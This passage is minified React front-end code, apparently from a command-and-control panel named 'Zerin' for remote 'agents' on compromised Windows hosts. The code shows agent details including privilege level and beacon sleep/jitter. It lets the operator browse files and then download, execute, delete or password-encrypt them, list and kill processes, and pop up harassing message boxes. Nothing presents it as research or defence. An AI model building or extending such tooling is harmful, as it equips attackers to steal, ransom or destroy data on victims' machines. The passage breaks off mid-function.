bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{T.trim()&&Me(z.agentId,{command:"troll_msgbox",args:[T,O||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!T.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function ic({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function KU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function GU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Io(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:Ij(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:no(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Lo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:eu(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(BU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const YU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},qU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},XU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function ZU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${YU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${XU[s.type]} select-none`,children:qU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),k=t==="dead",z=m.useRef(null),S=m.useRef(null),O=m.useRef(null);m.useEffect(()=>()=>{z.current&&clearInterval(z.current)},[]),m.useEffect(()=>{if(!p)return;const V=ae=>{ae.button!==2&&S.current&&!S.current.contains(ae.target)&&h(null)},Z=ae=>{ae.key==="Escape"&&h(null)};return document.addEventListener("mousedown",V),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",V),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var V;return(V=O.current)==null?void 0:V.focus()},50)},[y]);const A=m.useCallback(V=>new Promise((Z,ae)=>{let ue=0;const be=30,ye=setInterval(async()=>{var q;ue++;try{const C=(q=(await Xn(e)).results)==null?void 0:q.find(Y=>Y.task_id===V);C?(clearInterval(ye),C.error?ae(new Error(C.error)):Z({output:C.output,data:C.data})):ue>=be&&(clearInterval(ye),ae(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=m.useCallback(async V=>{if(!k){l(!0),u(""),s([]),z.current&&(clearInterval(z.current),z.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[V]});r(V),f(!0);let ae=0;const ue=30;z.current=setInterval(async()=>{var be;ae++;try{const q=(be=(await Xn(e)).results)==null?void 0:be.find(te=>te.task_id===Z);if(q){if(z.current&&clearInterval(z.current),z.current=null,l(!1),q.error){u(q.error);return}if(q.output){const te=q.output.split(` +`).slice(2),C=[];for(const Y of te){if(Y.length<35)continue;const ne=Y.substring(0,12).trim(),B=Y.substring(13,33).trim();let le=Y.substring(34).trim();if(!le||le==="."||le==="..")continue;const we=ne==="";(le.endsWith("/")||le.endsWith("\\"))&&(le=le.slice(0,-1)),C.push({name:le,isDir:we,size:we?void 0:ne,modified:B})}s(C)}}else ae>=ue&&(z.current&&clearInterval(z.current),z.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,k]),P=V=>{if(V.name.includes("..")||V.name.includes("/")||V.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+V.name},D=V=>{N(V),setTimeout(()=>N(""),5e3)},G=async V=>{h(null),g("download"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"download",args:[Z]}),ue=await A(ae);if(ue.data){let be;try{be=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(be.length);for(let Y=0;Y{h(null),g("delete"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"delete",args:[Z]});await A(ae),D(`Deleted ${V.name}`),T(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},K=async(V,Z,ae)=>{v(null),w(""),g(V),u(""),N("");try{const ue=P(Z),{task_id:be}=await Me(e,{command:V,args:[ue,ae]}),ye=await A(be);D(ye.output||`${V==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),T(n)}catch(ue){u(ue instanceof Error?ue.message:`${V} failed`)}finally{g(null)}},_=async V=>{h(null),g("execute"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"execute",args:[Z]}),ue=await A(ae);D(ue.output||`Executed ${V.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},M=(V,Z)=>{V.preventDefault(),V.stopPropagation();const ae=180,ue=220;let be=V.clientX,ye=V.clientY;be+ae>window.innerWidth&&(be=window.innerWidth-ae-8),ye+ue>window.innerHeight&&(ye=window.innerHeight-ue-8),h({x:Math.max(4,be),y:Math.max(4,ye),entry:Z})},F=()=>{!y||!b.trim()||K(y.action,y.entry,b)},U=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:V=>{V.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:k,children:"root"}),U.map((V,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const ae=U.slice(0,Z+1).join("\\")+"\\";T(ae)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:k,children:V})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>T(n),disabled:k||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),k&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(V=>a.jsxs("button",{onClick:()=>{if(V.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+Z+V.name)}},onContextMenu:Z=>M(Z,V),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:V.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:V.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:V.name})]},V.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>G(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>_(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>R(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:V=>V.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:O,type:"password",value:b,onChange:V=>w(V.target.value),onKeyDown:V=>{V.key==="Enter"&&F(),V.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:F,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"ps"});u(!0);let z=0;const S=30;v.current=setInterval(async()=>{var O;z++;try{const T=(O=(await Xn(e)).results)==null?void 0:O.find(P=>P.task_id===k);if(T){if(v.current&&clearInterval(v.current),v.current=null,s(!1),T.error){l(T.error);return}if(T.output){const P=T.output.split(` +`).filter(K=>K.trim()),D=[];for(const K of P){const _=K.trim().split(/\s+/);if(_.length>=2){const M=parseInt(_[0],10);if(!isNaN(M)){const F=_.length>=3?parseInt(_[1],10):0,U=!isNaN(F)&&_.length>=3,V=U?_.length>=4&&_.slice(3).join(" ")||_[2]:_.slice(1).join(" "),Z=U&&_.length>=4?_[2]:void 0;D.push({pid:M,ppid:U?F:0,name:V,user:Z,children:[]})}}}const G=new Map;D.forEach(K=>G.set(K.pid,K));const R=[];for(const K of D){const _=G.get(K.ppid);_&&_!==K?_.children.push(K):R.push(K)}r(R.length>0?R:D.map(K=>({...K,children:[]})))}}else z>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]),w=(k,z)=>{if(!z)return k;const S=z.toLowerCase();return k.filter(O=>{const A=O.name.toLowerCase().includes(S)||String(O.pid).includes(S),T=w(O.children,z).length>0;return A||T})},j=m.useCallback(async k=>{h(k),g(null);try{await Me(e,{command:"kill",args:[String(k)]}),setTimeout(b,2e3)}catch(z){l(z instanceof Error?z.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(k=>a.jsx(cS,{process:k,depth:0,confirmKillPid:x,killingPid:p,onKillClick:z=>g(z),onKillConfirm:j,onKillCancel:()=>g(null)},k.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function cS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(cS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function eV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await 